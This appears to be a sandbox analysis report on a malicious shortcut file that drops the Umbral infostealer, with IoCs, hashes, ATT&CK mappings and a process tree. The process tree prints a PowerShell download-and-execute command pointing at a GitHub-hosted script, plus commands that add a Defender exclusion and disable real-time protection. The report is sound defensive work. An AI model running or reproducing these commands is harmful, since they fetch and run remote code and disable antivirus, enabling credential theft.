umbral | c30599a71b6129c75b93e7b508cc307928df2677fe1b00357547481662522033

Resubmissions

23/03/2025, 14:55

250323-san3jsyjv6 10

23/03/2025, 14:54

250323-r9t76sxr17 10

23/03/2025, 14:51

250323-r74zlaxrv8 10

Analysis

max time kernel
105s
max time network
106s
platform
windows10-2004_x64
resource
win10v2004-20250313-en
resource tags

arch:x64arch:x86image:win10v2004-20250313-enlocale:en-usos:windows10-2004-x64system
submitted
23/03/2025, 14:51

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

1231321312.lnk
Size

2KB
MD5

a83ed03220cbc79bcbcaae9a57d0b95a
SHA1

062d88505a421b491c8614ccff1d8fdd34453e18
SHA256

c30599a71b6129c75b93e7b508cc307928df2677fe1b00357547481662522033
SHA512

97f7b63aa0435cbe3fb597f3a18941d0697c053ff75ccfdfae55f2e0f70afde85e6ef82e0c90077dcbc933247b8ac568f1fd28a7b3cc1f0eb1af9640f409a349

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral1/files/0x000800000002424b-21.dat	family_umbral
behavioral1/memory/4680-30-0x000002BEA3E60000-0x000002BEA3EA0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Blocklisted process makes network request 2 IoCs

flow	pid	Process
8	2652	powershell.exe
11	2652	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2996	powershell.exe
3512	powershell.exe
1872	powershell.exe
2652	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3446877943-4095308722-756223633-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
4680	Umbral.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
7	raw.githubusercontent.com
8	raw.githubusercontent.com
34	discord.com
35	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
32	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3892	wmic.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2652	powershell.exe
2652	powershell.exe
1872	powershell.exe
1872	powershell.exe
2996	powershell.exe
2996	powershell.exe
3512	powershell.exe
3512	powershell.exe
3512	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2652	powershell.exe
Token: SeDebugPrivilege	4680	Umbral.exe
Token: SeDebugPrivilege	1872	powershell.exe
Token: SeDebugPrivilege	2996	powershell.exe
Token: SeIncreaseQuotaPrivilege	1988	wmic.exe
Token: SeSecurityPrivilege	1988	wmic.exe
Token: SeTakeOwnershipPrivilege	1988	wmic.exe
Token: SeLoadDriverPrivilege	1988	wmic.exe
Token: SeSystemProfilePrivilege	1988	wmic.exe
Token: SeSystemtimePrivilege	1988	wmic.exe
Token: SeProfSingleProcessPrivilege	1988	wmic.exe
Token: SeIncBasePriorityPrivilege	1988	wmic.exe
Token: SeCreatePagefilePrivilege	1988	wmic.exe
Token: SeBackupPrivilege	1988	wmic.exe
Token: SeRestorePrivilege	1988	wmic.exe
Token: SeShutdownPrivilege	1988	wmic.exe
Token: SeDebugPrivilege	1988	wmic.exe
Token: SeSystemEnvironmentPrivilege	1988	wmic.exe
Token: SeRemoteShutdownPrivilege	1988	wmic.exe
Token: SeUndockPrivilege	1988	wmic.exe
Token: SeManageVolumePrivilege	1988	wmic.exe
Token: 33	1988	wmic.exe
Token: 34	1988	wmic.exe
Token: 35	1988	wmic.exe
Token: 36	1988	wmic.exe
Token: SeIncreaseQuotaPrivilege	1988	wmic.exe
Token: SeSecurityPrivilege	1988	wmic.exe
Token: SeTakeOwnershipPrivilege	1988	wmic.exe
Token: SeLoadDriverPrivilege	1988	wmic.exe
Token: SeSystemProfilePrivilege	1988	wmic.exe
Token: SeSystemtimePrivilege	1988	wmic.exe
Token: SeProfSingleProcessPrivilege	1988	wmic.exe
Token: SeIncBasePriorityPrivilege	1988	wmic.exe
Token: SeCreatePagefilePrivilege	1988	wmic.exe
Token: SeBackupPrivilege	1988	wmic.exe
Token: SeRestorePrivilege	1988	wmic.exe
Token: SeShutdownPrivilege	1988	wmic.exe
Token: SeDebugPrivilege	1988	wmic.exe
Token: SeSystemEnvironmentPrivilege	1988	wmic.exe
Token: SeRemoteShutdownPrivilege	1988	wmic.exe
Token: SeUndockPrivilege	1988	wmic.exe
Token: SeManageVolumePrivilege	1988	wmic.exe
Token: 33	1988	wmic.exe
Token: 34	1988	wmic.exe
Token: 35	1988	wmic.exe
Token: 36	1988	wmic.exe
Token: SeIncreaseQuotaPrivilege	1596	wmic.exe
Token: SeSecurityPrivilege	1596	wmic.exe
Token: SeTakeOwnershipPrivilege	1596	wmic.exe
Token: SeLoadDriverPrivilege	1596	wmic.exe
Token: SeSystemProfilePrivilege	1596	wmic.exe
Token: SeSystemtimePrivilege	1596	wmic.exe
Token: SeProfSingleProcessPrivilege	1596	wmic.exe
Token: SeIncBasePriorityPrivilege	1596	wmic.exe
Token: SeCreatePagefilePrivilege	1596	wmic.exe
Token: SeBackupPrivilege	1596	wmic.exe
Token: SeRestorePrivilege	1596	wmic.exe
Token: SeShutdownPrivilege	1596	wmic.exe
Token: SeDebugPrivilege	1596	wmic.exe
Token: SeSystemEnvironmentPrivilege	1596	wmic.exe
Token: SeRemoteShutdownPrivilege	1596	wmic.exe
Token: SeUndockPrivilege	1596	wmic.exe
Token: SeManageVolumePrivilege	1596	wmic.exe
Token: 33	1596	wmic.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 3196 wrote to memory of 2652	3196	cmd.exe	87
PID 3196 wrote to memory of 2652	3196	cmd.exe	87
PID 2652 wrote to memory of 4680	2652	powershell.exe	91
PID 2652 wrote to memory of 4680	2652	powershell.exe	91
PID 4680 wrote to memory of 1872	4680	Umbral.exe	94
PID 4680 wrote to memory of 1872	4680	Umbral.exe	94
PID 4680 wrote to memory of 2996	4680	Umbral.exe	96
PID 4680 wrote to memory of 2996	4680	Umbral.exe	96
PID 4680 wrote to memory of 1988	4680	Umbral.exe	100
PID 4680 wrote to memory of 1988	4680	Umbral.exe	100
PID 4680 wrote to memory of 1596	4680	Umbral.exe	102
PID 4680 wrote to memory of 1596	4680	Umbral.exe	102
PID 4680 wrote to memory of 1008	4680	Umbral.exe	104
PID 4680 wrote to memory of 1008	4680	Umbral.exe	104
PID 4680 wrote to memory of 3512	4680	Umbral.exe	106
PID 4680 wrote to memory of 3512	4680	Umbral.exe	106
PID 4680 wrote to memory of 3892	4680	Umbral.exe	108
PID 4680 wrote to memory of 3892	4680	Umbral.exe	108

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\1231321312.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3196
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Invoke-Expression (Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/sigmanip/reallogs123fr/refs/heads/main/download_and_run.ps1' -UseBasicParsing).Content"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2652
- - C:\Users\Admin\AppData\Local\Temp\Umbral.exe
    "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4680
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1872
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2996
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1988
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1596
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      4⤵
      PID:1008
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3512
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic" path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:3892

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
092bf22e8f5509ee4ff7ccf44123616b

SHA1
cb1e403ddee363c062ced9bb246e94c7a3338bce

SHA256
75d5b4fbbc413a5fe5afb938d43b7950f31126d199c461da2c86dacd0892a594

SHA512
74027d16748a1014076ac3e14d5f0637ac6f37092ec220175fe7d7ad760813b8ae8a7c3646f9c826cfa7ba0a7fad41b9fceade734a3b38efd587740716b7e326

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
64a10d8c6b5db372b97edf35ede19e5e

SHA1
3f4d2156f3a2f53422a9cbdc421ef1220194349b

SHA256
81b2060200caac5f5790306c2b23fd3b0e4fb8806d02f34fc9f1c86d61cbfc3b

SHA512
ec3aa311a0ab17211b14cf10ca53f1ea4750b896e5171c5557c6ac92da48c2d23dc5ffbf920d5aab77d40612270b498713f180090fda157c15fa20cac91d96ce

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
1a58f982c18490e622e00d4eb75ace5a

SHA1
60c30527b74659ecf09089a5a7c02a1df9a71b65

SHA256
4b7f800c0dea209162cc86627983993127eb20e3f8616646c41cb3ce15d9b39d

SHA512
ddab516a967783c5951717853aa5b3ef6dd5b442db50092888b2e7f3179fc68120fcde69a08d6ab280740eaadb6eadfc758c3118b52706f869e48ac1aebda480

Download Submit
C:\Users\Admin\AppData\Local\Temp\Umbral.exe

Filesize
227KB

MD5
68b35208a6ccc5cf6cfa41f86712e7ab

SHA1
34c735c3cc8fd7f9d225cd7323e5632aa772f465

SHA256
4a7c61f2655323ab50ae5d82063c96f5f8bad0ea39c0e6895b6354668b425279

SHA512
f05d7f10ee0a9ebef78696c86ec8f973242aafba3004cd6ee753b8ca44916b898befcca907b27ec711db60bb5141dc57cf36a00545cf4253136e1ecb63194f3f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jb3pzefl.nmh.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2652-14-0x00007FFEBD490000-0x00007FFEBDF51000-memory.dmp

Filesize
10.8MB

Download
memory/2652-16-0x00007FFEBD490000-0x00007FFEBDF51000-memory.dmp

Filesize
10.8MB

Download
memory/2652-31-0x00007FFEBD490000-0x00007FFEBDF51000-memory.dmp

Filesize
10.8MB

Download
memory/2652-15-0x00007FFEBD490000-0x00007FFEBDF51000-memory.dmp

Filesize
10.8MB

Download
memory/2652-2-0x00007FFEBD493000-0x00007FFEBD495000-memory.dmp

Filesize
8KB

Download
memory/2652-13-0x00007FFEBD490000-0x00007FFEBDF51000-memory.dmp

Filesize
10.8MB

Download
memory/2652-12-0x000002956A2B0000-0x000002956A2D2000-memory.dmp

Filesize
136KB

Download
memory/4680-30-0x000002BEA3E60000-0x000002BEA3EA0000-memory.dmp

Filesize
256KB

Download
memory/4680-55-0x000002BEBE5B0000-0x000002BEBE600000-memory.dmp

Filesize
320KB

Download
memory/4680-56-0x000002BEBE680000-0x000002BEBE6F6000-memory.dmp

Filesize
472KB

Download
memory/4680-57-0x000002BEA5BF0000-0x000002BEA5C0E000-memory.dmp

Filesize
120KB

Download
memory/4680-64-0x000002BEA5C30000-0x000002BEA5C3A000-memory.dmp

Filesize
40KB

Download
memory/4680-65-0x000002BEBE580000-0x000002BEBE592000-memory.dmp

Filesize
72KB

Download